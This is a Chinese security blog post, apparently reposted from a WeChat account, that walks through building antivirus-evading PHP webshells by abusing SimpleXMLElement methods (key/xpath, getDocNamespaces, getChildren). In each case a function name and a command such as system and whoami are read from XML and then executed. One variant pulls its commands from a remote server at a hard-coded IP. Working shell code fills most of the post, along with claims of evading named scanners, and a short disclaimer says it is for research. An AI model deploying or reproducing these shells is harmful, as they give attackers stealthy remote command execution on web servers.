基于SimpleXMLElement class的免杀webshell | 52期

admin 2025年6月9日08:36:55评论2 views字数 3815阅读12分43秒阅读模式
基于SimpleXMLElement class的免杀webshell

2025.06.07

基于SimpleXMLElement class的免杀webshell | 52期
基于SimpleXMLElement class的免杀webshell | 52期
我们看看php手册中表示 XML 文档中的元素。

SimpleXMLElement是 PHP 中的一个类,用于处理 XML 数据。它提供了简单、方便的方式来解析 XML 文件和字符串,并可以轻松地访问和作 XML 元素、属性、文本和注释。

就是解析xml内容的,下面是我构造的几种webshell案例。

01

key()&xpath()

简单介绍一下函数的用法

键()

SimpleXMLElement::key — 返回当前密钥

在PHP8.0之前,SimpleXMLElement::key()仅在子类 SimpleXMLIterator 上声明。

可以看到只在8版本才能使用

官方案例

<?php$xmlElement new SimpleXMLElement('<books><book>PHP basics</book><book>XML basics</book></books>');echo var_dump($xmlElement->key());$xmlElement->rewind(); // rewind to the first elementecho var_dump($xmlElement->key());?>
bool(false)string(4"book"
XPath()

SimpleXMLElement::xpath — 对 XML 数据运行 XPath 查询

官方案例

<?php$string <<<XML<a> <b>  <c>text</c>  <c>stuff</c> </b> <d>  <c>code</c> </d></a>XML;$xml new SimpleXMLElement($string);/* Search for <a><b><c> */$result $xml->xpath('/a/b/c');foreach($result as $node) {    echo '/a/b/c: ',$node,"n";}/* Relative paths also work... */$result $xml->xpath('b/c');foreach($result as $node) {    echo 'b/c: ',$node,"n";}?>
/a/b/c: text/a/b/c: stuffb/c: textb/c: stuff
就是根据我们的元素路径去获取value

所以使用以上思路可以构造出的webshell

网站外壳

<?php$xmlData=file_get_contents("http://ip/3.xml");$xmlElement new SimpleXMLElement($xmlData);$namespaces $xmlElement->getNamespaces(TRUE);$xmlElement->rewind();var_dump($xmlElement->key());$result $xmlElement->xpath('/books/system');var_dump (($result[0]->__toString()));($xmlElement->key())($result[0]->__toString())?>
xml文件

<books>    <system>whoami</system></books>
长亭

基于SimpleXMLElement class的免杀webshell | 52期
病毒总数

基于SimpleXMLElement class的免杀webshell | 52期
02

getDocNamespaces

还是老规矩看看官方的文档

SimpleXMLElement::getDocNamespaces — 返回文档中声明的命名空间

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

这个版本就比较宽泛了

官方使用案例

<?php$xml = <<<XML<?xml version="1.0" standalone="yes"?><people xmlns:p="http://example.org/ns">    <p:person id="1">John Doe</p:person>    <p:person id="2">Susie Q. Public</p:person></people>XML; $sxe new SimpleXMLElement($xml);$namespaces $sxe->getDocNamespaces();var_dump($namespaces);?>
array(1) {   ["p"]=>   string(21"http://example.org/ns"}
按照我们的思路,只需要控制恶意xml文件内容就好了

网站外壳

<?php$xmlData=file_get_contents("1.xml");$xmlElement new SimpleXMLElement($xmlData);$namespaces $xmlElement->getDocNamespaces(TRUE);var_dump($namespaces);$namespaces["t"]($namespaces["p"]);?>
xml文件

<?xml version="1.0" standalone="yes"?><peoplexmlns:p="whoami"xmlns:t="system">    <p:persont:id="1">John Doe</p:person>    <p:persont:id="2"a:addr="123 Street"xmlns:a="http://example.org/addr">        <books>            <book>                PHP basics            </book>        </books>    </p:person></people>
长亭

基于SimpleXMLElement class的免杀webshell | 52期
微步

基于SimpleXMLElement class的免杀webshell | 52期
其实使用getNamespaces方法还是可以

<?php$xmlData=file_get_contents("http://49.232.222.195/3.xml");$xmlElement new SimpleXMLElement($xmlData);$namespaces $xmlElement->getNamespaces(TRUE);$xmlElement->rewind();var_dump($xmlElement->key());$result $xmlElement->xpath('/books/system');var_dump (($result[0]->__toString()));($xmlElement->key())($result[0]->__toString())?>
基于SimpleXMLElement class的免杀webshell | 52期
03

利用 getChildren方法

SimpleXMLElement::getChildren — 返回当前元素的子元素

可以看到只能在8版本才能使用,在 PHP 8.0 之前,SimpleXMLElement::getChildren()仅在子类 SimpleXMLIterator 上声明。

官方使用案例

<?php$xml = <<<XML<books>    <book>        <title>PHP Basics</title>        <author>Jim Smith</author>    </book>    <book>XML basics</book></books>XML;$xmlElement new SimpleXMLElement($xml);for($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {    foreach($xmlElement->getChildren() as $name => $data) {    echo "The $name is '$data' from the class " . get_class($data) . "n";    }}?>
以上示例会输出:

The title is 'PHP Basics' from the classSimpleXMLElementTheauthoris 'JimSmith' fromtheclassSimpleXMLElement
按照这个思路,我们只需要把元素循环为key=》value

网站外壳

<?php$xmlData=file_get_contents("1.xml");$xmlElement new SimpleXMLElement($xmlData);for($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {    foreach($xmlElement->getChildren() as $name => $data) {        $name($data);    }}?>
XML 格式

<books>    <book>        <system>whoami</system>    </book></books>
长亭

基于SimpleXMLElement class的免杀webshell | 52期
病毒总数

基于SimpleXMLElement class的免杀webshell | 52期
道格安全

参考链接

https://forum.butian.net/share/4207

原文始发于微信公众号(道格安全):基于SimpleXMLElement class的免杀webshell | 52期

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月9日08:36:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于SimpleXMLElement class的免杀webshell | 52期http://cn-sec.com/archives/4147466.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息